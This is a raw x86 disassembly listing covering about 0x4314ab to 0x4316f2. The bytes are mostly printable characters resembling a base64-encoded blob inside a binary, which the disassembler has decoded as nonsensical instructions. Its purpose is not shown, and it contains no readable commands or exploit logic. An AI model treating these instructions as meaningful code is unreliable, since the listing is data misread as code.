4314ab:	41                   	inc    %ecx
4314ac:	47                   	inc    %edi
4314ad:	41                   	inc    %ecx
4314ae:	41                   	inc    %ecx
4314af:	41                   	inc    %ecx
4314b0:	41                   	inc    %ecx
4314b1:	59                   	pop    %ecx
4314b2:	32 55 55             	xor    0x55(%ebp),%dl
4314b5:	49                   	dec    %ecx
4314b6:	50                   	push   %eax
4314b7:	34 59                	xor    $0x59,%al
4314b9:	41                   	inc    %ecx
4314ba:	47                   	inc    %edi
4314bb:	73 67                	jae    0x431524
4314bd:	63 42 75             	arpl   %eax,0x75(%edx)
4314c0:	4d                   	dec    %ebp
4314c1:	48                   	dec    %eax
4314c2:	57                   	push   %edi
4314c3:	45                   	inc    %ebp
4314c4:	67 2b 67 6a          	sub    0x6a(%bx),%esp
4314c8:	49                   	dec    %ecx
4314c9:	32 6c 68 6c          	xor    0x6c(%eax,%ebp,2),%ch
4314cd:	49                   	dec    %ecx
4314ce:	41                   	inc    %ecx
4314cf:	4d                   	dec    %ebp
4314d0:	41                   	inc    %ecx
4314d1:	41                   	inc    %ecx
4314d2:	41                   	inc    %ecx
4314d3:	42                   	inc    %edx
4314d4:	6a 5a                	push   $0x5a
4314d6:	69 42 76 66 74 58 31 	imul   $0x31587466,0x76(%edx),%eax
4314dd:	57                   	push   %edi
4314de:	47                   	inc    %edi
4314df:	61                   	popa
4314e0:	4e                   	dec    %esi
4314e1:	48                   	dec    %eax
4314e2:	77 41                	ja     0x431525
4314e4:	41                   	inc    %ecx
4314e5:	41                   	inc    %ecx
4314e6:	52                   	push   %edx
4314e7:	51                   	push   %ecx
4314e8:	6f                   	outsl  %ds:(%esi),(%dx)
4314e9:	4c                   	dec    %esp
4314ea:	41                   	inc    %ecx
4314eb:	41                   	inc    %ecx
4314ec:	41                   	inc    %ecx
4314ed:	43                   	inc    %ebx
4314ee:	76 34                	jbe    0x431524
4314f0:	4f                   	dec    %edi
4314f1:	43                   	inc    %ebx
4314f2:	41                   	inc    %ecx
4314f3:	41                   	inc    %ecx
4314f4:	34 47                	xor    $0x47,%al
4314f6:	67 41                	addr16 inc %ecx
4314f8:	41                   	inc    %ecx
4314f9:	41                   	inc    %ecx
4314fa:	45                   	inc    %ebp
4314fb:	55                   	push   %ebp
4314fc:	45                   	inc    %ebp
4314fd:	41                   	inc    %ecx
4314fe:	41                   	inc    %ecx
4314ff:	41                   	inc    %ecx
431500:	41                   	inc    %ecx
431501:	66 65 48             	gs dec %ax
431504:	2f                   	das
431505:	2f                   	das
431506:	77 33                	ja     0x43153b
431508:	69 2f 2f 2b 75 34    	imul   $0x34752b2f,(%edi),%ebp
43150e:	76 2f                	jbe    0x43153f
431510:	2f                   	das
431511:	33 75 4c             	xor    0x4c(%ebp),%esi
431514:	2f                   	das
431515:	2f                   	das
431516:	7a 68                	jp     0x431580
431518:	51                   	push   %ecx
431519:	34 66                	xor    $0x66,%al
43151b:	2f                   	das
43151c:	2f                   	das
43151d:	49                   	dec    %ecx
43151e:	4e                   	dec    %esi
43151f:	43                   	inc    %ebx
431520:	51                   	push   %ecx
431521:	36 66 30 67 4c       	data16 xor %ah,%ss:0x4c(%edi)
431526:	56                   	push   %esi
431527:	30 35 32 6c 6b 67    	xor    %dh,0x676b6c32
43152d:	78 63                	js     0x431592
43152f:	70 50                	jo     0x431581
431531:	33 46 67             	xor    0x67(%esi),%eax
431534:	67 41                	addr16 inc %ecx
431536:	77 41                	ja     0x431579
431538:	41                   	inc    %ecx
431539:	41                   	inc    %ecx
43153a:	47                   	inc    %edi
43153b:	4e                   	dec    %esi
43153c:	6c                   	insb   (%dx),%es:(%edi)
43153d:	2f                   	das
43153e:	67 34 58             	addr16 xor $0x58,%al
431541:	41                   	inc    %ecx
431542:	44                   	inc    %esp
431543:	6a 39                	push   $0x39
431545:	2f                   	das
431546:	76 2f                	jbe    0x431577
431548:	2f                   	das
431549:	49                   	dec    %ecx
43154a:	4f                   	dec    %edi
43154b:	69 6f 55 63 6f 67 4d 	imul   $0x4d676f63,0x55(%edi),%ebp
431552:	35 43 58 38 56       	xor    $0x56385843,%eax
431557:	6b 67 50 32          	imul   $0x32,0x50(%edi),%esp
43155b:	72 69                	jb     0x4315c6
43155d:	34 46                	xor    $0x46,%al
43155f:	6b 67 69 42          	imul   $0x42,0x69(%edi),%esp
431563:	7a 32                	jp     0x431597
431565:	33 31                	xor    (%ecx),%esi
431567:	67 67 33 47 61       	addr16 xor 0x61(%bx),%eax
43156c:	31 41 46             	xor    %eax,0x46(%ecx)
43156f:	68 6c 49 4d 73       	push   $0x734d496c
431574:	78 67                	js     0x4315dd
431576:	39 68 59             	cmp    %ebp,0x59(%eax)
431579:	5a                   	pop    %edx
43157a:	6d                   	insl   (%dx),%es:(%edi)
43157b:	58                   	pop    %eax
43157c:	2b 44 68 59          	sub    0x59(%eax,%ebp,2),%eax
431580:	41                   	inc    %ecx
431581:	4f                   	dec    %edi
431582:	41                   	inc    %ecx
431583:	6b 41 41 41          	imul   $0x41,0x41(%ecx),%eax
431587:	44                   	inc    %esp
431588:	2b 44 68 6f          	sub    0x6f(%eax,%ebp,2),%eax
43158c:	41                   	inc    %ecx
43158d:	4f                   	dec    %edi
43158e:	4f                   	dec    %edi
43158f:	4c                   	dec    %esp
431590:	67 2f                	addr16 das
431592:	2f                   	das
431593:	38 67 45             	cmp    %ah,0x45(%edi)
431596:	5a                   	pop    %edx
431597:	57                   	push   %edi
431598:	68 74 69 41 2f       	push   $0x2f416974
43159d:	44                   	inc    %esp
43159e:	6d                   	insl   (%dx),%es:(%edi)
43159f:	67 54                	addr16 push %esp
4315a1:	57                   	push   %edi
4315a2:	43                   	inc    %ebx
4315a3:	41                   	inc    %ecx
4315a4:	45                   	inc    %ebp
4315a5:	41                   	inc    %ecx
4315a6:	41                   	inc    %ecx
4315a7:	41                   	inc    %ecx
4315a8:	41                   	inc    %ecx
4315a9:	59                   	pop    %ecx
4315aa:	32 55 67             	xor    0x67(%ebp),%dl
4315ad:	41                   	inc    %ecx
4315ae:	51                   	push   %ecx
4315af:	41                   	inc    %ecx
4315b0:	41                   	inc    %ecx
4315b1:	41                   	inc    %ecx
4315b2:	47                   	inc    %edi
4315b3:	4a                   	dec    %edx
4315b4:	6c                   	insb   (%dx),%es:(%edi)
4315b5:	49                   	dec    %ecx
4315b6:	46                   	inc    %esi
4315b7:	67 30 51 66          	xor    %dl,0x66(%bx,%di)
4315bb:	6c                   	insb   (%dx),%es:(%edi)
4315bc:	68 2f 67 34 58       	push   $0x5834672f
4315c1:	41                   	inc    %ecx
4315c2:	44                   	inc    %esp
4315c3:	69 64 2f 76 2f 2f 30 	imul   $0x43302f2f,0x76(%edi,%ebp,1),%esp
4315ca:	43
4315cb:	73 41                	jae    0x43160e
4315cd:	41                   	inc    %ecx
4315ce:	41                   	inc    %ecx
4315cf:	45                   	inc    %ebp
4315d0:	6f                   	outsl  %ds:(%esi),(%dx)
4315d1:	4a                   	dec    %edx
4315d2:	77 41                	ja     0x431615
4315d4:	41                   	inc    %ecx
4315d5:	43                   	inc    %ebx
4315d6:	69 41 76 54 4c 6b 79 	imul   $0x796b4c54,0x76(%ecx),%eax
4315dd:	49                   	dec    %ecx
4315de:	44                   	inc    %esp
4315df:	48                   	dec    %eax
4315e0:	64 43                	fs inc %ebx
4315e2:	50                   	push   %eax
4315e3:	31 68 49             	xor    %ebp,0x49(%eax)
4315e6:	41                   	inc    %ecx
4315e7:	4c                   	dec    %esp
4315e8:	39 77 64             	cmp    %esi,0x64(%edi)
4315eb:	35 59 49 41 4d       	xor    $0x4d414959,%eax
4315f0:	41                   	inc    %ecx
4315f1:	41                   	inc    %ecx
4315f2:	41                   	inc    %ecx
4315f3:	42                   	inc    %edx
4315f4:	6a 49                	push   $0x49
4315f6:	4d                   	dec    %ebp
4315f7:	73 35                	jae    0x43162e
4315f9:	47                   	inc    %edi
4315fa:	67 5a                	addr16 pop %edx
4315fc:	5a                   	pop    %edx
4315fd:	49                   	dec    %ecx
4315fe:	4f                   	dec    %edi
4315ff:	66 43                	inc    %bx
431601:	63 66 68             	arpl   %esp,0x68(%esi)
431604:	68 5a 69 43 74       	push   $0x7443695a
431609:	43                   	inc    %ebx
43160a:	6a 72                	push   $0x72
43160c:	6f                   	outsl  %ds:(%esi),(%dx)
43160d:	57                   	push   %edi
43160e:	52                   	push   %edx
43160f:	51                   	push   %ecx
431610:	67 66 73 78          	addr16 data16 jae 0x43168c
431614:	7a 2b                	jp     0x431641
431616:	57                   	push   %edi
431617:	56                   	push   %esi
431618:	6d                   	insl   (%dx),%es:(%edi)
431619:	49                   	dec    %ecx
43161a:	49                   	dec    %ecx
43161b:	61                   	popa
43161c:	71 63                	jno    0x431681
43161e:	2b 74 59 5a          	sub    0x5a(%ecx,%ebx,2),%esi
431622:	57                   	push   %edi
431623:	59                   	pop    %ecx
431624:	67 41                	addr16 inc %ecx
431626:	33 66 6e             	xor    0x6e(%esi),%esp
431629:	35 46 6c 6c 6a       	xor    $0x6a6c6c46,%eax
43162e:	52                   	push   %edx
43162f:	38 41 41             	cmp    %al,0x41(%ecx)
431632:	41                   	inc    %ecx
431633:	45                   	inc    %ebp
431634:	6c                   	insb   (%dx),%es:(%edi)
431635:	49                   	dec    %ecx
431636:	4f                   	dec    %edi
431637:	48                   	dec    %eax
431638:	79 35                	jns    0x43166f
43163a:	79 67                	jns    0x4316a3
43163c:	67 36 39 64 32       	cmp    %esp,%ss:0x32(%si)
431641:	41                   	inc    %ecx
431642:	31 67 67             	xor    %esp,0x67(%edi)
431645:	69 67 64 71 43 6c 6b 	imul   $0x6b6c4371,0x64(%edi),%esp
43164c:	67 51                	addr16 push %ecx
43164e:	73 50                	jae    0x4316a0
431650:	30 49 57             	xor    %cl,0x57(%ecx)
431653:	45                   	inc    %ebp
431654:	67 42                	addr16 inc %edx
431656:	67 41                	addr16 inc %ecx
431658:	41                   	inc    %ecx
431659:	41                   	inc    %ecx
43165a:	47                   	inc    %edi
43165b:	4d                   	dec    %ebp
43165c:	67 42                	addr16 inc %edx
43165e:	67 41                	addr16 inc %ecx
431660:	41                   	inc    %ecx
431661:	41                   	inc    %ecx
431662:	47                   	inc    %edi
431663:	4c                   	dec    %esp
431664:	51                   	push   %ecx
431665:	42                   	inc    %edx
431666:	67 41                	addr16 inc %ecx
431668:	41                   	inc    %ecx
431669:	41                   	inc    %ecx
43166a:	53                   	push   %ebx
43166b:	67 6e                	outsb  %ds:(%si),(%dx)
43166d:	41                   	inc    %ecx
43166e:	41                   	inc    %ecx
43166f:	41                   	inc    %ecx
431670:	4b                   	dec    %ebx
431671:	6f                   	outsl  %ds:(%esi),(%dx)
431672:	68 51 6f 4d 51       	push   $0x514d6f51
431677:	41                   	inc    %ecx
431678:	41                   	inc    %ecx
431679:	43                   	inc    %ebx
43167a:	76 34                	jbe    0x4316b0
43167c:	4f                   	dec    %edi
43167d:	43                   	inc    %ebx
43167e:	51                   	push   %ecx
43167f:	41                   	inc    %ecx
431680:	34 61                	xor    $0x61,%al
431682:	67 41                	addr16 inc %ecx
431684:	41                   	inc    %ecx
431685:	41                   	inc    %ecx
431686:	45                   	inc    %ebp
431687:	55                   	push   %ebp
431688:	59                   	pop    %ecx
431689:	41                   	inc    %ecx
43168a:	41                   	inc    %ecx
43168b:	41                   	inc    %ecx
43168c:	41                   	inc    %ecx
43168d:	61                   	popa
43168e:	39 2f                	cmp    %ebp,(%edi)
431690:	2f                   	das
431691:	2f                   	das
431692:	32 72 68             	xor    0x68(%edx),%dh
431695:	2f                   	das
431696:	2f                   	das
431697:	2f                   	das
431698:	50                   	push   %eax
431699:	34 76                	xor    $0x76,%al
43169b:	2f                   	das
43169c:	2f                   	das
43169d:	6d                   	insl   (%dx),%es:(%edi)
43169e:	4f                   	dec    %edi
43169f:	50                   	push   %eax
4316a0:	2f                   	das
4316a1:	2f                   	das
4316a2:	77 50                	ja     0x4316f4
4316a4:	6c                   	insb   (%dx),%es:(%edi)
4316a5:	2f                   	das
4316a6:	2f                   	das
4316a7:	38 63 35             	cmp    %ah,0x35(%ebx)
4316aa:	76 2f                	jbe    0x4316db
4316ac:	2f                   	das
4316ad:	49                   	dec    %ecx
4316ae:	4f                   	dec    %edi
4316af:	66 2f                	data16 das
4316b1:	2f                   	das
4316b2:	34 37                	xor    $0x37,%al
4316b4:	70 2f                	jo     0x4316e5
4316b6:	2f                   	das
4316b7:	2b 75 36             	sub    0x36(%ebp),%esi
4316ba:	76 2f                	jbe    0x4316eb
4316bc:	2f                   	das
4316bd:	74 2b                	je     0x4316ea
4316bf:	76 2f                	jbe    0x4316f0
4316c1:	2f                   	das
4316c2:	35 62 73 2f 2f       	xor    $0x2f2f7362,%eax
4316c7:	2b 30                	sub    (%eax),%esi
4316c9:	37                   	aaa
4316ca:	66 2f                	data16 das
4316cc:	2f                   	das
4316cd:	45                   	inc    %ebp
4316ce:	75 2f                	jne    0x4316ff
4316d0:	2f                   	das
4316d1:	2f                   	das
4316d2:	36 62 78 2f          	bound  %edi,%ss:0x2f(%eax)
4316d6:	2f                   	das
4316d7:	2b 6e 38             	sub    0x38(%esi),%ebp
4316da:	76 2f                	jbe    0x43170b
4316dc:	2f                   	das
4316dd:	4e                   	dec    %esi
4316de:	50                   	push   %eax
4316df:	54                   	push   %esp
4316e0:	2f                   	das
4316e1:	2f                   	das
4316e2:	30 66 31             	xor    %ah,0x31(%esi)
4316e5:	2f                   	das
4316e6:	2f                   	das
4316e7:	39 35 39 76 2f 2f    	cmp    %esi,0x2f2f7639
4316ed:	38 2f                	cmp    %ch,(%edi)
4316ef:	66 2f                	data16 das
4316f1:	2f                   	das
4316f2:	79 76                	jns    0x43176a